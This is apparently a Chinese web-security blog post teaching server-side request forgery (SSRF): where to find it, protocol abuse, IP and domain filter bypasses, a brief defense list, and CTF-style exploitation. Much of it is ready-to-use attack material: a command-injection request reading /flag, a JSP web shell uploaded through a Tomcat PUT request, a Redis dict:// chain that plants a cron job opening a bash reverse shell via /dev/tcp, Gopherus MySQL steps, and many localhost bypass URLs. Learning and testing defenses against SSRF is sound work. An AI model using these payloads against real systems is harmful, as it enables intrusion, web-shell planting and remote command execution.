SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点&SRC复盘

Ethan医生7个月前WEB安全188

image.jpg




1.jpg


#SSRF漏洞原理

服务器端请求伪造,也称为SSRFServer-Side Request Forgery),是因为前端用户可以输入任意URL到后端服务器,而且服务器也没有对其URL进行严格的过滤和校验,导致攻击者可以构造一些恶意的URL让服务器去访问执行。

*主要安全影响:

-读取服务器本地文件

-探测内网存活主机和开放端口

-攻击其他内网服务器及服务

 

#SSRF漏洞挖掘

黑盒探针:

-业务功能点

1.社交分享功能:获取超链接的标题等内容进行显示

2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

3.在线翻译:给网址翻译对应网页的内容

4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

8.数据库内置功能:数据库的比如mongodbcopyDatabase函数

9.邮件系统:比如接收邮件服务器地址

10.编码处理, 属性信息处理,文件处理:比如ffpmgImageMagickdocxpdfxml处理器等

11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

 

-URL关键参数

share

wap

url

link

src

source

target

u

display

sourceURl

imageURL

domain

 

白盒分析:见代码审计(文件读取,加载,数据操作类的函数)

 

#SSRF伪协议利用

http:// Web常见访问,如http://127.0.0.1

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

 

gopher:// 分布式文档传递服务,可使用gopherus生成payload

由于有部分协议http这类不支持,可以gopher来进行通讯(mysqlredis等)

应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus

 

#SSRF绕过方式

-限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@

http://www.xxx.com@www.xxyy.com

 

-限制请求IP不为内网地址

当不允许ip为内网地址时:

1)采取短网址绕过

2)采取域名解析

3)采取进制转换

4)采取3XX重定向

 

#SSRF漏洞防御

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。

2,统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许httphttps请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

 

#SSRF核心利用-伪协议

https://github.com/sqlsec/ssrf-vuls

-命令执行

POST / HTTP/1.1

Host: 172.150.23.24

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/x-www-form-urlencoded

Content-Length: 26

Origin: http://172.150.23.24

Connection: close

Referer: http://172.150.23.24/

Cookie: timezone=8

Upgrade-Insecure-Requests: 1

 

ip=127.0.0.1%3Bcat+%2Fflag

 

 

-Tomcat漏洞

PUT /1.jsp/ HTTP/1.1

Host: 172.150.23.26:8080

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 460

 

<%

String command = request.getParameter("cmd");

if(command != null)

{

java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1)

{

out.println(new String(b));

}

out.print("</pre>");

} else {

out.print("format: xxx.jsp?cmd=Command");

}

%>

 

 

-Redis

# 清空 key

dict://172.150.23.27:6379/flushall

 

# 设置要操作的路径为定时任务目录

dict://172.150.23.27:6379/config set dir /var/spool/cron/

 

# 在定时任务目录下创建 root 的定时任务文件

dict://172.150.23.27:6379/config set dbfilename root

 

# 写入 Bash 反弹 shellpayload

dict://172.150.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n"

 

# 保存上述操作

dict://172.150.23.27:6379/save

 

-MYSQL:

https://github.com/tarunkant/Gopherus

python2 gopherus.py --exploit mysql

root

show variables like '%plugin%'

后续编码一次

 

#SSRF过滤绕过

CTFSHOW 白盒

1、无过滤直接获取

url=http://127.0.0.1/flag.php

 

2-3IP地址进制绕过

十六进制

url=http://0x7F.0.0.1/flag.php

 

八进制

url=http://0177.0.0.1/flag.php

 

10 进制整数格式

url=http://2130706433/flag.php

 

16 进制整数格式,还是上面那个网站转换记得前缀0x

url=http://0x7F000001/flag.php

 

还有一种特殊的省略模式

127.0.0.1写成127.1

 

CIDR绕过localhost

url=http://127.127.127.127/flag.php

 

还有很多方式

url=http://0/flag.php

url=http://0.0.0.0/flag.php

 

4、域名解析IP绕过

test.xiaodi8.com -> 127.0.0.1

url=http://test.xiaodi8.com/flag.php

 

5、长度限制IP绕过

url=http://127.1/flag.php

 

6、长度限制IP绕过

url=http://0/flag.php

 

7、利用重定向解析绕过

<?php

header("Location:http://127.0.0.1/flag.php");

url=http://47.94.236.117/xx.php

 

8、匹配且不影响写法解析

url=http://ctf.@127.0.0.1/flag.php?show

 

9-10、利用gopher协议打服务

参考上述工具项目










标签: SSRF

相关文章

XML&XXE&上传解析&文件预览&接口服务&白盒审计&应用功能&SRC复盘

#黑盒功能点案例1、不安全的图像读取-SVG2、不安全的文档转换-DOCX3、不安全的传递服务-SOAPSOAP 的典型使用场景✅ 适合 SOAP 的情况:需要严格的数据契约(如金融交易、医...

JAVA攻防-专题漏洞&SPEL表达式&SSTI模版&Swagger接口&Actuator泄露&Spring特检

➢ Java攻防-常规漏洞-注入&RCE&XXE➢ Java攻防-常规漏洞-跳转&SSRF&FILE➢ Java攻防-专题漏洞-SPEL&...

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

#Phar反序列化解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 原理:PHP文件系统函...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

Web攻防-身份验证篇&JWT令牌&空密钥&未签名&密钥爆破&JWK&JWU&KID&算法替换

Web攻防-身份验证篇&JWT令牌&空密钥&未签名&密钥爆破&JWK&JWU&KID&算法替换

#JWTJSON Web Token(JWT)。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身...

SSTI服务端&模版注入&利用分类&语言引擎&数据渲染&项目工具&挖掘思路

SSTI(Server-Side Template Injection,服务器端模板注入)是一种安全漏洞,攻击者通过向模板引擎注入恶意代码,在服务器端执行任意指令。以下是 SSTI 的主要使用场景和常...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。